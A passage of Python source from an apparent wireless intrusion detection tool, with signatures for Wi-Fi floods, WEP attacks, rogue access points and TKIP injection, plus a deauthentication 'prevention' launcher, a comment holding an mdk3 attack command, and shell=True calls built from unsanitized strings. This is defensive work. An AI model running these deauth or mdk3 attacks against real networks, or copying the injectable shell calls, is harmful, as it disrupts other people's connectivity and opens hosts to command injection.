    OutputTxt=""
    if str(FrSignal)!="" and str(ToSignal)!="" and len(str(FrSignal))>0 and len(str(ToSignal))>0 and str(FrSignal)!="-1" and str(ToSignal)!="-1":
        if FrSignal[:1]=="-" and ToSignal[:1]=="-" and ToMAC!="Not Associated" and FrMAC!="Not Associated":
            FrSig=FrSignal[1:];ToSig=ToSignal[1:];
            if  int(FrSig)<int(ToSig):
                OutputTxt=fcolor.BIGray + "Your Location" + lblColor + "   >   " + FrColor + FrMAC +  lblColor + "   >   " + ToColor + ToMAC 
                Report=ArrangeSignalReport(FrMAC,ToMAC,"",fcolor.SYellow)
            if  int(FrSig)>int(ToSig):
                OutputTxt=fcolor.BIGray + "Your Location" + lblColor + "   >   " + ToColor + ToMAC  + lblColor + "   >   " + FrColor + FrMAC 
                Report=ArrangeSignalReport(ToMAC,FrMAC,"", fcolor.SYellow)
            if  int(FrSig)==int(ToSig):
                OutputTxt=fcolor.BIGray + "Your Location" + lblColor + "   >   " + FrColor + FrMAC + lblColor + "   =   " + ToColor + ToMAC
                Report=ArrangeSignalReport(FrMAC,ToMAC,"", fcolor.SYellow)
            OutputTxt=lblColor + Spacer + "Location : " + OutputTxt 
            if Report!="":
                OutputTxt=OutputTxt + "\n" + lblColor + Spacer + "         : " + Report
            if ToDisplay=="1":
                print OutputTxt
            else:
                return OutputTxt + "\n"
    return OutputTxt

def DisplayMACSInformation(FrMAC,ToMAC,ToBSSID):
    ColorFrMAC=fcolor.BGreen
    ColorToMAC=fcolor.BRed
    ColorToBSSID=fcolor.BCyan
    ColorBStd=fcolor.SGreen
    FrMACOUI=DisplayOUIDetail(FrMAC,ColorFrMAC)
    ToMACOUI=DisplayOUIDetail(ToMAC,ColorToMAC)
    ToBSSIDOUI=DisplayOUIDetail(ToBSSID,ColorToBSSID)
    __builtin__.MSG_IDSDetection=""
    FrMACSignal=GetSignal(FrMAC)
    ToMACSignal=GetSignal(ToMAC)
    ToBSSIDSignal=GetSignal(ToBSSID)
    if ToMAC==ToBSSID:
        __builtin__.MSG_IDSDetection = __builtin__.MSG_IDSDetection + ColorBStd + "     From MAC   [ " + ColorFrMAC + str(FrMAC) + ColorBStd + " ] ==> To MAC [ " + ColorToBSSID + str(ToBSSID) + ColorBStd + " ]- Access Point MAC.\n"
        __builtin__.MSG_IDSDetection = __builtin__.MSG_IDSDetection + "     " + str(FrMACOUI) 
        __builtin__.MSG_IDSDetection = __builtin__.MSG_IDSDetection + "     " + str(ToBSSIDOUI)
        __builtin__.MSG_IDSDetection = __builtin__.MSG_IDSDetection + "     " + ColorStd2 + "  Signal   [ " + ColorFrMAC + str(FrMAC) + ColorStd2 + " ] = " + ColorFrMAC + str(GetSignalData(FrMAC)) + ColorStd2 + " ==>  [ " + ColorToBSSID + str(ToBSSID) + ColorStd2 + " ] = " + ColorToBSSID  + str(GetSignalData(str(ToBSSID))) + "\n"
        __builtin__.MSG_IDSDetection = __builtin__.MSG_IDSDetection + ArrangeSignalLocation(ColorFrMAC,FrMAC,str(FrMACSignal),ColorToBSSID,ToBSSID,str(ToBSSIDSignal),"       ",ColorStd2,"")
        __builtin__.MSG_IDSDetection = __builtin__.MSG_IDSDetection + "     " + str(DisplayESSIDDetail(ToBSSID,ColorToBSSID))
        __builtin__.MSG_IDSDetection = __builtin__.MSG_IDSDetection + "     " + str(DisplaySSIDDetail(ToBSSID)) + "\n"
    else:
        if FrMAC==ToBSSID:
            __builtin__.MSG_IDSDetection = __builtin__.MSG_IDSDetection + "     " + ColorStd + "From BSSID [ " + ColorToBSSID + str(ToBSSID) + ColorStd2 + " ] ==> To MAC [ " + ColorToMAC + str(ToMAC) + ColorStd + " ].\n"
            __builtin__.MSG_IDSDetection = __builtin__.MSG_IDSDetection + "     " + str(ToBSSIDOUI)
            __builtin__.MSG_IDSDetection = __builtin__.MSG_IDSDetection + "     " + str(ToMACOUI)
            __builtin__.MSG_IDSDetection = __builtin__.MSG_IDSDetection + "     " + ColorStd2 + "  Signal   [ " + ColorToBSSID + str(ToBSSID) + ColorStd2 + " ] = " + ColorBStd + str(GetSignalData(ToBSSID)) + ColorStd2 + " ==>  [ " + ColorToMAC + str(ToMAC) + ColorStd2 + " ] = " + ColorToMAC  + str(GetSignalData(str(ToMAC))) + "\n"
            __builtin__.MSG_IDSDetection = __builtin__.MSG_IDSDetection + str(ArrangeSignalLocation(ColorToBSSID,ToBSSID,ToBSSIDSignal,ColorToMAC,ToMAC,str(ToMACSignal),"       ",ColorStd2,""))
        else:
            __builtin__.MSG_IDSDetection = __builtin__.MSG_IDSDetection + "     " + ColorStd + "From MAC   [ " + ColorFrMAC + str(FrMAC) + ColorStd + " ] ==> To MAC [" + ColorToMAC + str(ToMAC) + ColorStd + " ], Related BSSID [ " + ColorToBSSID + str(ToBSSID) + ColorStd + " ]\n"
            __builtin__.MSG_IDSDetection = __builtin__.MSG_IDSDetection + "     " + str(FrMACOUI)
            __builtin__.MSG_IDSDetection = __builtin__.MSG_IDSDetection + "     " + str(ToMACOUI)
            __builtin__.MSG_IDSDetection = __builtin__.MSG_IDSDetection + "     " + str(ToBSSIDOUI)
            if ToMAC[:6]!="33:33:" and ToMAC[:6]!="FF:FF:" and ToMAC[:9]!="01:80:C2:" and ToMAC[:9]!="01:00:5E:":
                __builtin__.MSG_IDSDetection = __builtin__.MSG_IDSDetection + "     " + ColorStd2 + "  Signal   [ " + ColorFrMAC + str(FrMAC) + ColorBStd + " ] = " + ColorFrMAC + str(GetSignalData(FrMAC)) + ColorStd2 + " ==>  [ " + ColorToMAC + str(ToMAC) + ColorStd + " ] = " + ColorToMAC  + str(GetSignalData(str(ToMAC))) + "\n"
                __builtin__.MSG_IDSDetection = __builtin__.MSG_IDSDetection + ArrangeSignalLocation(ColorFrMAC,FrMAC,str(FrMACSignal),ColorToMAC,ToMAC,str(ToMACSignal),"       ",ColorStd2,"")
            else:
                __builtin__.MSG_IDSDetection = __builtin__.MSG_IDSDetection + "     " + ColorStd2 + "  Signal   [ " + ColorFrMAC + str(FrMAC) + ColorStd2 + " ] = " + ColorBStd + str(GetSignalData(FrMAC)) + ColorStd2 + " ==>  [ " + ColorToBSSID + str(ToBSSID) + ColorStd2 + " ] = " + ColorToBSSID  + str(GetSignalData(str(ToBSSID))) + "\n"
                __builtin__.MSG_IDSDetection = __builtin__.MSG_IDSDetection + ArrangeSignalLocation(ColorFrMAC,FrMAC,str(FrMACSignal),ColorToBSSID,ToBSSID,str(ToBSSIDSignal),"       ",ColorStd2,"")
        __builtin__.MSG_IDSDetection = __builtin__.MSG_IDSDetection + "     " + str(DisplayESSIDDetail(ToBSSID,ColorToBSSID))
        __builtin__.MSG_IDSDetection = __builtin__.MSG_IDSDetection + "     " + str(DisplaySSIDDetail(ToBSSID)) + "\n"
    
    return str(__builtin__.MSG_IDSDetection)

def DisplayAttackMsg(WarningCount,MSG,MSG2, DataCt, NotesInfo1,NotesInfo2,NotesInfo3):
   if len(str(WarningCount))==1:
     spacer="  "
   if len(str(WarningCount))==2:
     spacer=" "
   RTNMSG= fcolor.SWhite + "[" + fcolor.BRed + str(WarningCount) + fcolor.SWhite + "]" + spacer + fcolor.BGreen + "Possible Attack : [ " + fcolor.BRed + str(MSG) + fcolor.BGreen + " ] Detected !!!\n"
   if MSG2!="":
       RTNMSG= RTNMSG + fcolor.BGreen + "                     : " + str(MSG2) + "\n"
   RTNMSG= RTNMSG + fcolor.BGreen + "               Packets : " + fcolor.BRed + str(DataCt) + fcolor.SWhite + "\n"
   if NotesInfo1!="":
       RTNMSG=RTNMSG + fcolor.BGreen + "                 Notes : " + fcolor.SWhite + "" + str(NotesInfo1) + "\n"
   if NotesInfo2!="":
       RTNMSG=RTNMSG + fcolor.BGreen + "                       : " + fcolor.SWhite + "" + str(NotesInfo2) + "\n"
   if NotesInfo3!="":
       RTNMSG=RTNMSG + fcolor.BGreen + "                       : " + fcolor.SWhite + "" + str(NotesInfo3) + "\n"
   return RTNMSG

def SaveFilteredMAC(MACList,sFile,sDir):
    xm=0
    spacing=""
    SaveFile=""
    DateTime=str(Now()).replace(":","").replace("/","").replace("-","").replace(" ","_")
    rsFile=sFile.replace("*","")
    if sFile[-1:]=="*":
        SaveFile=sDir + rsFile + "_" + DateTime + ".cap"
    if sFile[:1]=="*":
        SaveFile=sDir + DateTime + "_" + rsFile + ".cap"
    
    fmac="";dfmac=""
    while xm<len(MACList):
        fmac=fmac + "wlan.addr==" + str(MACList[xm]) + " or "
        dfmac=dfmac + str(MACList[xm]) + " / "
        xm += 1
    fmac=fmac[:-4]
    dfmac=dfmac[:-3]
    printl (spacing + fcolor.SGreen + "Saving MAC filtered pcap file..." + fcolor.BRed + SaveFile,"0","")
    ps=subprocess.Popen("tshark -r " + str(__builtin__.CurrentPacket) + " -R '" +  str(fmac) + "' -w " + SaveFile + "" , shell=True, stdout=subprocess.PIPE, stderr=open(os.devnull, 'w'))	
    printl (spacing + fcolor.SGreen + "Filtered PCap file saved " + fcolor.SRed +  str(SaveFile) + fcolor.SGreen + " - MAC filtered : " + str(dfmac) ,"0","")
    print ""

def AddMACToList(MACAddr,MACList):
    if str(MACList).find(MACAddr)==-1:
        MACList.append (MACAddr)

def ShowIntrusionPrevention(CMD):
    if CMD=="1" or CMD!="":
        printc ("+", fcolor.BBlue + "Intrusion Prevention Setting - Station Deauth","")
    if IsFileDirExist(__builtin__.IPSScript)=="F":
        if CMD=="1" or CMD=="":
            usr_resp=AskQuestion("Enter Attacker MAC Address ","xx:xx:xx:xx:xx:xx","U","RETURN","")
        else:
            usr_resp=CMD
        if usr_resp=="RETURN":
            return
        if CheckMAC(usr_resp)=="":
            printc ("!",fcolor.SRed + "The MAC Address " + fcolor.BYellow + str(usr_resp) + fcolor.SRed + " is invalid !!\n","")
            if CMD=="1" and CMD=="":
                ShowIntrusionPrevention("")
                return
        else:
            IPSIFace=__builtin__.SELECTED_MON
            if CMD=="1" or CMD=="":
                AttackerMAC=usr_resp
                IPSLoop=AskQuestion("Enter the loopcount before IPS Stop : ",fcolor.SWhite + "<default = 9999999>","N",9999999,"0")
                RestTime=AskQuestion("Waiting time before another deauth  : ",fcolor.SWhite + "<default = 1 sec>","N",1,"0")
                print ""
                Result=AskQuestion("Proceed to DeAuth MAC " + fcolor.BRed + str(AttackerMAC) ,"Y/n","U","Y","1")
            else:
                AttackerMAC=usr_resp
                IPSIFace=__builtin__.SELECTED_MON
                IPSLoop=9999999
                RestTime=1
                Result="Y"
            if Result=="Y":
                printc ("i",fcolor.BGreen + "Station Deauth Launched..","")
                cmdLine="xterm -geometry 300x80+0+0 -iconic -bg black -fg white -fn 6x12 -title 'WAIDPS - Intrusion Prevention - " + str(AttackerMAC) + "' -e 'python " + str(__builtin__.IPSScript) + " " + str(IPSIFace) + " " + str(AttackerMAC) + " " + str(IPSLoop) + " " + str(RestTime) + "'"
                ps=subprocess.Popen(cmdLine , shell=True, stdout=subprocess.PIPE, preexec_fn=os.setsid)	
                __builtin__.IPS=ps.pid
            else:
                printc ("!",fcolor.SRed + "Operation aborted..\n","")
                return
    else:
        printc ("!",fcolor.BRed + "IPS DeAuth file not found !!","")
    return
        

def ShowIDSDetection(CMD):
    __builtin__.MSG_IDSDetection =""
    __builtin__.MSG_IDSDetectionOverAll =""
    __builtin__.List_AttackingMAC=[]
    WarningCount=0
    TotalProbe=0
    TotalPackets=0
    ProbeMAC=""
    BeaconPrivacy=""
    BeaconChannel=""
    MSG_ATTACK=""
    PrivacyInfo=""
    ConfuseWDS=0
    ConfuseWDSList=""
    ConfuseWDSPkt=0
    ConfuseWDSMAC=""
    AuthFlood=0
    AuthFloodList=""
    AuthFloodPkt=0
    AuthFloodMAC=""
    DetailInfo=fcolor.BBlue + "     [Details]\n"
    Breaks=DrawLine("-",fcolor.CReset + fcolor.Black,"","1")
    if len(__builtin__.OfInterest_List)>0:
        x=0
        tmpInterestList=[]
        while x<len(__builtin__.OfInterest_List):
            tmpInterestList=str(__builtin__.OfInterest_List[x]).split("\t")
            FrMAC=tmpInterestList[0]
            ToMAC=tmpInterestList[1]
            ToBSSID=tmpInterestList[2]
            GET_DATAARP=tmpInterestList[3]
            GET_DATA86=tmpInterestList[4]
            GET_DATA94=tmpInterestList[5]
            GET_DATA98=tmpInterestList[6]
            GET_AUTH=tmpInterestList[7]
            GET_DEAUTH=tmpInterestList[8]
            GET_DEAUTH_AC=tmpInterestList[9]
            GET_ASSOC=tmpInterestList[10]
            GET_DISASSOC=tmpInterestList[11]
            GET_REASSOC=tmpInterestList[12]
            GET_RTS=tmpInterestList[13]
            GET_CTS=tmpInterestList[14]
            GET_ACK=tmpInterestList[15]
            GET_EAPOL_STD=tmpInterestList[16]
            GET_EAPOL_START=tmpInterestList[17]
            GET_WPS=tmpInterestList[18]
            GET_BEACON=tmpInterestList[19]
            GET_PRQX=tmpInterestList[20]
            GET_PRESP=tmpInterestList[21]
            GET_NULL=tmpInterestList[22]
            GET_QOS=tmpInterestList[23]
            YOURMAC=tmpInterestList[24]
            GET_PROBE=tmpInterestList[25]
            MSG_ATTACK=""
            PrivacyInfo=""
            DetailInfo=fcolor.BBlue + "     [Details]\n"
            tGET_PROBE=RemoveColor(GET_PROBE)
            tGET_PROBE=tGET_PROBE.replace(" / <<Broadcast>> / "," / ").replace(" / <<Broadcast>>","").replace("<<Broadcast>> / ","")
            GET_PROBEList=[]
            GET_PROBEList=tGET_PROBE.split(" / ")
            if str(GET_PROBE).find("\\")!=-1 or FrMAC!=ToBSSID:
                GET_PROBEList=[]
            NotesInfo1="";NotesInfo2="";NotesInfo3=""
            AddMACToList(FrMAC,List_AttackingMAC)
            AddMACToList(ToMAC,List_AttackingMAC)
            AddMACToList(ToBSSID,List_AttackingMAC)
            PrivacyInfo=GetPrivacyInfo(FrMAC,ToMAC,ToBSSID,0)
            if int(GET_ASSOC)>int(__builtin__.THRESHOLD_ASSOC) and int(GET_AUTH)<int(__builtin__.THRESHOLD_AUTH) and FrMAC!=ToBSSID:	# ASSOCIATION
               WarningCount=WarningCount+1;NotesInfo1="";NotesInfo2="";NotesInfo3=""
               PACKET_SENT=GET_ASSOC + " Association " + fcolor.BGreen + " / " + fcolor.BRed + GET_AUTH + " Authentication " + fcolor.BGreen + " / " + fcolor.BRed + GET_DEAUTH + " DeAuth "
               ATTACK_TYPE="Association Flood"
               NotesInfo1="The data pattern match those persistent associating with AP."
               PrivacyInfo=GetPrivacyInfo(FrMAC,ToMAC,ToBSSID,0)
               WPSInfo=GetWPSInfo(FrMAC,ToMAC,ToBSSID)
               if PrivacyInfo!="":
                   if PrivacyInfo=="WEP":
                       if WPSInfo=="":
                           NotesInfo2="The encryption for Access Point is " + fcolor.BYellow  + PrivacyInfo + ColorStd2 + ", it likely continuious fake authentication is deploy."
                       else:
                           NotesInfo2="The encryption for Access Point is " + fcolor.BYellow  + PrivacyInfo + ColorStd2 + " and WPS is enabled, likely WPS PIN bruteforcing."
                   else:
                       if WPSInfo!="":
                           NotesInfo2="The encryption for Access Point is " + fcolor.BYellow  + PrivacyInfo + ColorStd2 + " and is WPS enabled, continuious association may indicated WPS bruteforcing."
               sData=fcolor.BGreen + "[ " + fcolor.BRed + FrMAC + fcolor.BGreen + " ] could be flooding Access Point [ " + fcolor.BCyan + ToBSSID + fcolor.BGreen + " ] with association request"
               MSG_ATTACK=MSG_ATTACK + DisplayAttackMsg(WarningCount,ATTACK_TYPE, sData ,PACKET_SENT,NotesInfo1,NotesInfo2,NotesInfo3)
               MACInfo=DisplayMACSInformation(FrMAC,ToMAC,ToBSSID)
               MSG_ATTACK=MSG_ATTACK + "" + DetailInfo + MACInfo+ "\n" + Breaks + "\n"
            if int(GET_ASSOC)<int(__builtin__.THRESHOLD_ASSOC) and int(GET_AUTH)>int(__builtin__.THRESHOLD_AUTH) and FrMAC!=ToBSSID:	# ASSOCIATION
               WarningCount=WarningCount+1;NotesInfo1="";NotesInfo2="";NotesInfo3=""
               PACKET_SENT=GET_AUTH + " Authentication " + fcolor.BGreen + " / " + fcolor.BRed + GET_ASSOC + " Association " + fcolor.BGreen + " / " + fcolor.BRed + GET_DEAUTH + " DeAuth "
               ATTACK_TYPE="Authentication Flood"
               if FrMAC=="FF:FF:FF:FF:FF:FF" and ToBSSID==ToMAC:
                   ConfuseWDS=ConfuseWDS+1
                   if str(ConfuseWDSList).find(ToBSSID)==-1:
                       ConfuseWDSList=ConfuseWDSList + ToBSSID + " / "
                   ConfuseWDSPkt=ConfuseWDSPkt + int(GET_AUTH)
                   ConfuseWDSMAC=ToBSSID
               elif FrMAC!="FF:FF:FF:FF:FF:FF" and ToBSSID==ToMAC:
                   AuthFloodPkt=AuthFloodPkt + int(GET_AUTH)
                   AuthFlood=AuthFlood + 1
                   if str(AuthFloodList).find(ToBSSID)==-1:
                       AuthFloodList=AuthFloodList + ToBSSID + " / "
                       AuthFloodMAC=FrMAC
               NotesInfo1="The data pattern match those persistent authenticating with AP."
               PrivacyInfo=GetPrivacyInfo(FrMAC,ToMAC,ToBSSID,0)
               WPSInfo=GetWPSInfo(FrMAC,ToMAC,ToBSSID)
               if PrivacyInfo!="":
                   if PrivacyInfo=="WEP":
                       if WPSInfo=="":
                           NotesInfo2="The encryption for Access Point is " + fcolor.BYellow  + PrivacyInfo + ColorStd2 + ", it likely continuious fake authentication is deploy."
                       else:
                           NotesInfo2="The encryption for Access Point is " + fcolor.BYellow  + PrivacyInfo + ColorStd2 + " and WPS is enabled, likely WPS PIN bruteforcing."
                   else:
                       if WPSInfo!="":
                           NotesInfo2="The encryption for Access Point is " + fcolor.BYellow  + PrivacyInfo + ColorStd2 + " and is WPS enabled, continuious association may indicated WPS bruteforcing."
               if int(GET_AUTH)>200 and int(GET_ASSOC)==0:
                   InfoTxt="Too much Authentication request and signature seem to be " + fcolor.BRed + "MDK3 Authentication DoS Mode (a) - Standard " + fcolor.SWhite + ".."
                   if NotesInfo2!="":
                       NotesInfo2=NotesInfo2 + "\n                         " + InfoTxt
                   else:
                       NotesInfo2=InfoTxt
               sData=fcolor.BGreen + "[ " + fcolor.BRed + FrMAC + fcolor.BGreen + " ] could be flooding Access Point [ " + fcolor.BCyan + ToBSSID + fcolor.BGreen + " ] with authentication request"
               MSG_ATTACK=MSG_ATTACK + DisplayAttackMsg(WarningCount,ATTACK_TYPE, sData ,PACKET_SENT,NotesInfo1,NotesInfo2,NotesInfo3)
               MACInfo=DisplayMACSInformation(FrMAC,ToMAC,ToBSSID)
               MSG_ATTACK=MSG_ATTACK + "" + DetailInfo + MACInfo+ "\n" + Breaks + "\n"
            if int(GET_ASSOC)>int(__builtin__.THRESHOLD_ASSOC) and int(GET_AUTH)>int(__builtin__.THRESHOLD_AUTH) and FrMAC!=ToBSSID:	# ASSOCIATION
               WarningCount=WarningCount+1;NotesInfo1="";NotesInfo2="";NotesInfo3=""
               PACKET_SENT=GET_ASSOC + " Association " + fcolor.BGreen + " / " + fcolor.BRed + GET_AUTH + " Authentication " + fcolor.BGreen + " / " + fcolor.BRed + GET_DEAUTH + " DeAuth "
               ATTACK_TYPE="Association/Authentication Flood"
               if FrMAC=="FF:FF:FF:FF:FF:FF" and ToBSSID==ToMAC:
                   ConfuseWDS=ConfuseWDS+1
                   if str(ConfuseWDSList).find(ToBSSID)==-1:
                       ConfuseWDSList=ConfuseWDSList + ToBSSID + " / "
                   ConfuseWDSPkt=ConfuseWDSPkt + int(GET_AUTH)
                   ConfuseWDSMAC=ToBSSID
               NotesInfo1="The data pattern match those persistent associating/authenticating with AP."
               PrivacyInfo=GetPrivacyInfo(FrMAC,ToMAC,ToBSSID,0)
               WPSInfo=GetWPSInfo(FrMAC,ToMAC,ToBSSID)
               if PrivacyInfo!="":
                   if PrivacyInfo=="WEP":
                       if WPSInfo=="":
                           NotesInfo2="The encryption for Access Point is " + fcolor.BYellow  + PrivacyInfo + ColorStd2 + ", it likely continuious fake authentication is deploy."
                       else:
                           NotesInfo2="The encryption for Access Point is " + fcolor.BYellow  + PrivacyInfo + ColorStd2 + " and WPS is enabled, likely WPS PIN bruteforcing."
                   else:
                       if WPSInfo!="":
                           NotesInfo2="The encryption for Access Point is " + fcolor.BYellow  + PrivacyInfo + ColorStd2 + " and is WPS enabled, continuious association may indicated WPS bruteforcing."
               if int(GET_ASSOC)>int(GET_AUTH) and int(GET_ASSOC)>100:
                   InfoTxt="There is a possibility of " + fcolor.BRed + "MDK3 Authentication DoS Mode (Intelligent Test -i) " + fcolor.SWhite + ".."
                   if NotesInfo2!="":
                       NotesInfo2=NotesInfo2 + "\n                         " + InfoTxt
                   else:
                       NotesInfo2=InfoTxt
               sData=fcolor.BGreen + "[ " + fcolor.BRed + FrMAC + fcolor.BGreen + " ] could be flooding Access Point [ " + fcolor.BCyan + ToBSSID + fcolor.BGreen + " ] with association/authentication request"
               MSG_ATTACK=MSG_ATTACK + DisplayAttackMsg(WarningCount,ATTACK_TYPE, sData ,PACKET_SENT,NotesInfo1,NotesInfo2,NotesInfo3)
               MACInfo=DisplayMACSInformation(FrMAC,ToMAC,ToBSSID)
               MSG_ATTACK=MSG_ATTACK + "" + DetailInfo + MACInfo+ "\n" + Breaks + "\n"
            if int(GET_DATAARP)>int(__builtin__.THRESHOLD_DATAARP) and PrivacyInfo=="WEP":	# ARP 
               WarningCount=WarningCount+1;NotesInfo1="";NotesInfo2="";NotesInfo3=""
               PACKET_SENT=GET_DATAARP
               NotesInfo1="The data pattern match those used in Aireplay-NG ARP-Replay Request Attack."
               ATTACK_TYPE="WEP - ARP-Replay Request"
               PrivacyInfo=GetPrivacyInfo(FrMAC,ToMAC,ToBSSID,0)
               if PrivacyInfo=="WEP":
                   NotesInfo2="The Encryption of the BSSID also Match Attack Criteria : " + fcolor.BYellow + "WEP" + "\n\n"
               sData=fcolor.BGreen + "[ " + fcolor.BRed + FrMAC + fcolor.BGreen + " ] is attacking Access Point [ " + fcolor.BCyan + ToBSSID + fcolor.BGreen + " ]"
               MSG_ATTACK=MSG_ATTACK + DisplayAttackMsg(WarningCount,ATTACK_TYPE, sData ,PACKET_SENT,NotesInfo1,NotesInfo2,NotesInfo3)
               MACInfo=DisplayMACSInformation(FrMAC,ToMAC,ToBSSID)
               MSG_ATTACK=MSG_ATTACK + "" + DetailInfo + MACInfo+ "\n" + Breaks + "\n"
            if int(GET_DATA98)>int(__builtin__.THRESHOLD_DATA98):	# CHOPCHOP - GUESSING PROCESS
               WarningCount=WarningCount+1;NotesInfo1="";NotesInfo2="";NotesInfo3=""
               PACKET_SENT=GET_DATA98
               NotesInfo1="The data pattern match those used in Aireplay-NG KoreK Chopchop Attack."
               ATTACK_TYPE="WEP - KoreK Chopchop"
               PrivacyInfo=GetPrivacyInfo(FrMAC,ToMAC,ToBSSID,0)
               if PrivacyInfo=="WEP":
                   NotesInfo2="The KoreK Chopchop attacks will usually come before an ARP-Replay Request after it obtained the decrypted WEP byte"
                   NotesInfo3="The Encryption of the BSSID also Match Attack Criteria : " + fcolor.BYellow + "WEP" + "\n\n"
               sData=fcolor.BGreen + "[ " + fcolor.BRed + FrMAC + fcolor.BGreen + " ] is attacking Access Point [ " + fcolor.BCyan + ToBSSID + fcolor.BGreen + " ]"
               MSG_ATTACK=MSG_ATTACK + DisplayAttackMsg(WarningCount,ATTACK_TYPE, sData ,PACKET_SENT,NotesInfo1,NotesInfo2,NotesInfo3)
               ToMAC="FF:FF:FF:FF:FF:FF"
               MACInfo=DisplayMACSInformation(FrMAC,ToMAC,ToBSSID)
               MSG_ATTACK=MSG_ATTACK + "" + DetailInfo + MACInfo+ "\n" + Breaks + "\n"
            ## TESTING - mdk3 mon0 m -t <TARGET BSSID>
            if int(GET_DATA94)>int(__builtin__.THRESHOLD_DATA94) and FrMAC=="00:00:00:00:00:00" and ToMAC==ToBSSID:	# Michael Shutdown Exploitation (TKIP)
               WarningCount=WarningCount+1;NotesInfo1="";NotesInfo2="";NotesInfo3=""
               PACKET_SENT=GET_DATA94
               NotesInfo1="The data pattern match those used in MDK3 Michael Shutdown Exploitation (TKIP) Attack."
               ATTACK_TYPE="MDK3 - Michael Shutdown Exploitation (TKIP)"
               PrivacyInfo=GetPrivacyInfo(FrMAC,ToMAC,ToBSSID,0)
               foundloc=FindMACIndex(ToBSSID,ListInfo_BSSID)
               PrivacyInfo=str(ListInfo_Privacy[foundloc])
               CipherInfo=str(ListInfo_Cipher[foundloc])
               if str(PrivacyInfo).find("WPA")!=-1 and str(CipherInfo).find("TKIP")!=-1:
                   NotesInfo2="The Encryption of the BSSID also Match Attack Criteria : " + fcolor.BYellow + "WPA - TKIP" + "\n\n"
               sData=fcolor.BGreen + "[ " + fcolor.BRed + FrMAC + fcolor.BGreen + " ] is attacking Access Point [ " + fcolor.BCyan + ToBSSID + fcolor.BGreen + " ]"
               MSG_ATTACK=MSG_ATTACK + DisplayAttackMsg(WarningCount,ATTACK_TYPE, sData ,PACKET_SENT,NotesInfo1,NotesInfo2,NotesInfo3)
               MACInfo=DisplayMACSInformation(ToBSSID,ToMAC,ToBSSID)
               MSG_ATTACK=MSG_ATTACK + "" + DetailInfo + MACInfo+ "\n" + Breaks + "\n"
            if len(GET_PROBEList)>1 and ToMAC=="FF:FF:FF:FF:FF:FF":		# ROGUE AP
               WarningCount=WarningCount+1;NotesInfo1="";NotesInfo2="";NotesInfo3=""
               PACKET_SENT=GET_BEACON
               NotesInfo1="The response pattern match those used in Rogue Access Point."
               ATTACK_TYPE="Rogue Access Point"
               NotesInfo2="Do note that if SSID Name looks similar, it may not a Rogue Access Point due to malformed packets"
               NotesInfo3="Unless similar Rogue AP is pick up by WAIDPS several time with different ESSID, it may not be a Rogue AP."
               PrivacyInfo=GetPrivacyInfo(FrMAC,ToMAC,ToBSSID,0)
               if PrivacyInfo=="OPN":
                   NotesInfo3=fcolor.BRed + "Rogue AP in most cases will be an Open network and response to probe request by devices. Current AP match the profile."
               tGET_PROBE=RemoveColor(tGET_PROBE)
               tProbeCt=tGET_PROBE.split(" / ")
               ProbeCt=0
               ProbeCt=int(len(tProbeCt))
               ProbeCt=ProbeCt+1
               F5M=str(FrMAC[:5])
               foundloc=FindMACIndex(FrMAC,ListInfo_BSSID)
               BChannel=ListInfo_Channel[foundloc]
               if ProbeMAC=="":
                   ProbeMAC=FrMAC
                   TotalPackets=TotalPackets + int(PACKET_SENT)
                   TotalProbe=TotalProbe + int(ProbeCt)
                   if BChannel!="":
                       BeaconChannel=BChannel + " / "
               elif ProbeMAC!="" and ProbeMAC[:5]==F5M:
                   ProbeMAC= ProbeMAC + " / " + FrMAC
                   TotalPackets=TotalPackets + int(PACKET_SENT)
                   TotalProbe=TotalProbe + int(ProbeCt)
                   if BeaconPrivacy!="":
                       if str(BeaconPrivacy).find(PrivacyInfo)==-1:
                           BeaconPrivacy=BeaconPrivacy + " / " + PrivacyInfo
                   else:
                       BeaconPrivacy=PrivacyInfo
                   if BChannel!="" and str(BeaconChannel).find(BChannel + " / ")==-1:
                       BeaconChannel=BeaconChannel + BChannel + " / "
               if PrivacyInfo!="" and BeaconPrivacy=="":
                   BeaconPrivacy=PrivacyInfo
               tGET_PROBE=ReplaceSlash(tGET_PROBE,fcolor.BBlue,fcolor.SWhite)
               GET_PROBE=GET_PROBE.replace(" / ", fcolor.SWhite + " / " + fcolor.BBlue)
               sData=fcolor.BGreen + "[ " + fcolor.BRed + FrMAC + fcolor.BGreen + " ] broadcasted itself as [ " + fcolor.BBlue + tGET_PROBE + fcolor.BGreen + " ]"
               MSG_ATTACK=MSG_ATTACK + DisplayAttackMsg(WarningCount,ATTACK_TYPE, sData ,PACKET_SENT,NotesInfo1,NotesInfo2,NotesInfo3)
               ToMAC="FF:FF:FF:FF:FF:FF"
               MACInfo=DisplayMACSInformation(FrMAC,ToMAC,ToBSSID)
               MSG_ATTACK=MSG_ATTACK + "" + DetailInfo + MACInfo+ "\n" + Breaks + "\n"
            if int(GET_QOS)>int(__builtin__.THRESHOLD_QOS):	# TKIPTUN-NG
               WarningCount=WarningCount+1;NotesInfo1="";NotesInfo2="";NotesInfo3=""
               PACKET_SENT=GET_QOS 
               NotesInfo1="The data pattern match those used in TKIPTUN-NG Attacks."
               ATTACK_TYPE="TKIPTUN-NG Injection"
               PrivacyInfo=GetPrivacyInfo(ToMAC,ToBSSID,ToBSSID,0)
               if PrivacyInfo=="WPA" or PrivacyInfo=="WPA2":
                   NotesInfo2="The Encryption of the BSSID also Match Attack Criteria : " + fcolor.BYellow + "WPA/WPA2" + "\n"
                   CipherInfo=GetPrivacyInfo(ToMAC,ToBSSID,ToBSSID,1)
                   if str(CipherInfo).find("TKIP")!=-1:
                       NotesInfo3="The Cipher of the BSSID also Match Attack Criteria : " + fcolor.BYellow + str(CipherInfo) + "\n\n"
               sData=fcolor.BGreen + "[ " + fcolor.BRed + FrMAC + fcolor.BGreen + " ] <Fake MAC> injecting to Station [ " + fcolor.BRed + ToMAC + fcolor.BGreen + " ] ==> BSSID [ " + fcolor.BCyan + ToBSSID + fcolor.BGreen + " ]"
               MSG_ATTACK=MSG_ATTACK + DisplayAttackMsg(WarningCount,ATTACK_TYPE, sData ,PACKET_SENT,NotesInfo1,NotesInfo2,NotesInfo3)
               MACInfo=DisplayMACSInformation(ToMAC,ToBSSID,ToBSSID)
               MSG_ATTACK=MSG_ATTACK + "" + DetailInfo + MACInfo+ "\n" + Breaks + "\n"
            if int(GET_DEAUTH_AC)>int(__builtin__.THRESHOLD_DEAUTH_AC): # and int(GET_DISASSOC)==0:	# DEAUTH - A
               WarningCount=WarningCount+1;NotesInfo1="";NotesInfo2="";NotesInfo3=""
               PACKET_SENT=GET_DEAUTH_AC
               if int(GET_DISASSOC)==0:
